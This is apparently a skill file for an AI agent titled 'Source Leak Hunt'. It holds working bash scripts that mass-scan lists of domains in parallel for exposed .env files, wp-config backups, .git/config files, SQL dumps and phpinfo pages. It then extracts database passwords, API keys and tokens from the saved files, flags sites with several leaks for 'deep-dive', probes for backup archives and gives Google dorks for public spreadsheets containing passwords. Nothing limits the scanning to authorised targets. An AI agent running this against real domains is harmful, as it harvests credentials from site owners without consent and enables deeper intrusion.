source-leak-hunt – skill Bảo mật cho agent AI

Source Leak Hunt Skill

Mass scanning for exposed sensitive files (.env, .git/config, wp-config.php.bak, debug.log, backup.sql, phpinfo.php, Dockerfile, etc.) with content-based false positive filtering. Source leaks are the second most common finding (~7% of targets) after WordPress user enumeration.

When to Use

• After skill_view(name='wp-mass-recon') confirms a target is alive.
• Broad scanning across a batch of domains.
• When probing for credential exposure that enables deeper access.
• Complementing skill_view(name='js-secrets-extraction') for client-side secrets.

Prerequisites

• terminal with curl.
• List of live URLs (output from httpx or wp-mass-recon Phase 1).
• Persistence: output directory at $OUTDIR/leaks/.

How to Run

# Quick scan single target (20 paths)
TARGET="https://example.com"
for path in .env .git/config wp-config.php.bak debug.log backup.sql info.php phpinfo.php \
  .env.backup .env.local .env.production wp-config.php~ .git/HEAD .backup.sql \
  docker-compose.yml Dockerfile .DS_Store robots.txt sitemap.xml; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "$TARGET/$path")
  [[ "$code" == "200" ]] && echo "HTTP 200: $TARGET/$path"
  sleep 0.2
done

Quick Reference

| Path | What It Exposes | Severity |

|------|----------------|----------|

| .env | DB creds, API keys, app secrets | Critical |

| wp-config.php.bak | MySQL root password, salts | Critical |

| .git/config | Repository URL, credentials | High |

| debug.log | PHP errors, server paths, SQL queries | High |

| backup.sql | Full database dump | Critical |

| info.php / phpinfo.php | PHP config, disable_functions, server env | High |

| docker-compose.yml | Service architecture, env vars | Medium |

| Dockerfile | Build config, exposed ports | Low |

| .env.backup / .env.local | Same as .env, alternate names | Critical |

| wp-config.php~ | Vim swap of wp-config | Critical |

| .DS_Store | Directory listing (macOS) | Low |

| error_log | PHP error log (can be multi-MB, full of paths/queries) | High |

Procedure

Step 1 — Parallel Mass Scan

#!/bin/bash
URLS_FILE="$1"   # One URL per line
OUTDIR="$OUTDIR/leaks"
mkdir -p "$OUTDIR"

PATHS=(
  ".env"
  ".git/config"
  "wp-config.php.bak"
  "debug.log"
  "backup.sql"
  "info.php"
  "phpinfo.php"
  ".env.backup"
  ".env.local"
  ".env.production"
  "wp-config.php~"
  ".git/HEAD"
  "docker-compose.yml"
  "Dockerfile"
  ".DS_Store"
  "robots.txt"
  "sitemap.xml"
  "error_log"
  "wp-content/debug.log"
  ".backup.sql"
)

# Content verification patterns (avoids SPA catch-all false positives)
declare -A PATTERNS
PATTERNS[".env"]='DB_|APP_|_KEY|_SECRET|DATABASE|PASSWORD|TOKEN'
PATTERNS["wp-config.php.bak"]='DB_NAME|DB_PASSWORD|AUTH_KEY'
PATTERNS[".git/config"]='\[core\]'
PATTERNS["debug.log"]='PHP|ERROR|WARNING|Stack trace'
PATTERNS["backup.sql"]='CREATE TABLE|INSERT INTO|DROP TABLE'
PATTERNS["info.php"]='PHP Version|phpinfo'
PATTERNS["phpinfo.php"]='PHP Version|phpinfo'
PATTERNS[".env.backup"]='DB_|APP_|_KEY|_SECRET'
PATTERNS[".env.local"]='DB_|APP_|_KEY|_SECRET'
PATTERNS[".env.production"]='DB_|APP_|_KEY|_SECRET'
PATTERNS["wp-config.php~"]='DB_NAME|DB_PASSWORD'
PATTERNS["error_log"]='PHP|ERROR|Stack trace'

scan_target() {
  local url="$1"
  local domain
  domain=$(echo "$url" | sed 's|https\?://||' | sed 's|/.*||')

  for path in "${PATHS[@]}"; do
    local full_url="${url}/${path}"
    local code
    code=$(curl -sk -o /tmp/leak_check_$$.tmp -w "%{http_code}" --max-time 5 --connect-timeout 5 "$full_url" 2>/dev/null)

    if [[ "$code" == "200" ]]; then
      local content
      content=$(head -c 2000 /tmp/leak_check_$$.tmp 2>/dev/null)
      local pattern="${PATTERNS[$path]}"

      if [[ -n "$pattern" ]] && echo "$content" | grep -qiE "$pattern"; then
        echo "[LEAK] $full_url (VERIFIED: $path)"
        echo "$full_url" >> "$OUTDIR/${domain}_leaks.txt"
        cp /tmp/leak_check_$$.tmp "$OUTDIR/${domain}_${path//\//_}.content" 2>/dev/null
      elif [[ -z "$pattern" ]]; then
        # No pattern check — just log HTTP 200 (e.g., robots.txt)
        local size=$(wc -c < /tmp/leak_check_$$.tmp)
        if [[ "$size" -gt 50 ]]; then
          echo "[INFO] $full_url (HTTP 200, ${size} bytes)"
          echo "$full_url" >> "$OUTDIR/${domain}_leaks.txt"
        fi
      fi
    fi
    sleep 0.3
  done
  rm -f /tmp/leak_check_$$.tmp
}

export -f scan_target
export OUTDIR
export PATHS

# Run 30 parallel workers
cat "$URLS_FILE" | xargs -P 30 -I {} bash -c 'scan_target "{}"'

echo "[+] Done. Results in $OUTDIR/"

Step 2 — Extract Credentials from Leaked Files

# From .env files
grep -rhE '(DB_|APP_|_KEY|_SECRET|DATABASE|PASSWORD|TOKEN|SECRET)=' $OUTDIR/leaks/*.env*.content 2>/dev/null | sort -u

# From wp-config backups
grep -rhE 'DB_NAME|DB_USER|DB_PASSWORD|DB_HOST|AUTH_KEY' $OUTDIR/leaks/*wp-config* 2>/dev/null

# From .git/config
grep -rh 'url = ' $OUTDIR/leaks/*.git_config.content 2>/dev/null

# From SQL dumps
grep -rhE 'CREATE TABLE|INSERT INTO' $OUTDIR/leaks/*backup* $OUTDIR/leaks/*.sql* 2>/dev/null | head -20

Step 3 — Find Targets with Multiple Leaks (Deep-Dive Candidates)

for f in $OUTDIR/leaks/*_leaks.txt; do
  count=$(wc -l < "$f")
  [[ "$count" -ge 3 ]] && echo "$(basename "$f" _leaks.txt): $count leaks"
done | sort -t: -k2 -rn

Pitfalls

• SPA catch-all false positives over 70% of results without filtering. Single-page apps return HTTP 200 with index.html for any path. Content verification is mandatory.
• CloudFront/S3 error pages. Some CDNs return 200 with an XML error body for missing files. Check content type and body.
• Truncated content on large files. error_log files can be 1.7MB+. Fetch in chunks or use curl -r 0-5000 for sampling.
• git/HEAD false positive. Some themes/setups have .git/HEAD returning 200 with a legitimate git hash. Verify .git/config first.
• Parked/for-sale domains return HTTP 200 for every path. Generic parking pages serve content for /.env, /.git/config, /info.php, etc. with no error handling — every path returns 200 with the same landing page. Detect these by checking if multiple unrelated paths return identical content (same body hash, same <title>, or same keyword like "for sale" or "parked"). Add early-exit: if /robots.txt and /.env both return 200 with near-identical HTML, mark domain as parked and skip further source-leak checks.

Verification

• Every .env leak MUST contain at least one of: DB_, APP_, _KEY, _SECRET, PASSWORD, TOKEN.
• Every wp-config.php.bak leak MUST contain DB_NAME and DB_PASSWORD.
• Every .git/config leak MUST contain [core] section header.
• Every SQL backup MUST contain DDL (CREATE TABLE) or DML (INSERT INTO) statements.
• Log all verified leaks with timestamp and HTTP response size.

Phase 6 — Backup File Discovery

# bfac — multi-level backup file detection
bfac --url https://target.com \
  --detection-technique all \
  --level 3 \
  --exclude-status-codes 404,500

# Wayback Machine — historical sensitive files
waybackurls https://target.com | grep -iE \
  "\.(xls|xlsx|csv|sql|db|bak|backup|old|tar\.gz|tgz|zip|7z|rar|pdf|pem|key|crt|env|json|yml|yaml|conf|config|git|htpasswd|log|dump|DS_Store)" \
  | sort -u > sensitive_wayback.txt

# Check which are still accessible
cat sensitive_wayback.txt | httpx -silent -mc 200 -o accessible_sensitive.txt

# Common backup patterns to probe
for ext in bak old backup zip tar.gz tgz sql dump; do
  curl --max-time 30 --connect-timeout 10 -skI "https://target.com/backup.$ext" | head -1
  curl --max-time 30 --connect-timeout 10 -skI "https://target.com/site.$ext" | head -1
  curl --max-time 30 --connect-timeout 10 -skI "https://target.com/target.$ext" | head -1
  sleep 0.3
done

Phase 7 — Google Services Leak Dorking

# Google Sheets — internal spreadsheets often left public
# Manual search:
# site:docs.google.com/spreadsheets "target.com"
# site:docs.google.com/spreadsheets "@target.com"
# site:docs.google.com/spreadsheets "password" "target.com"

# Google Drive files
# site:drive.google.com "target.com" "confidential"

# Firebase/Firestore URLs in public search results
# site:firebaseio.com "target.com"
# site:firestore.googleapis.com "target-app"

# GCP buckets
# site:storage.googleapis.com "target"
# site:storage.cloud.google.com "target"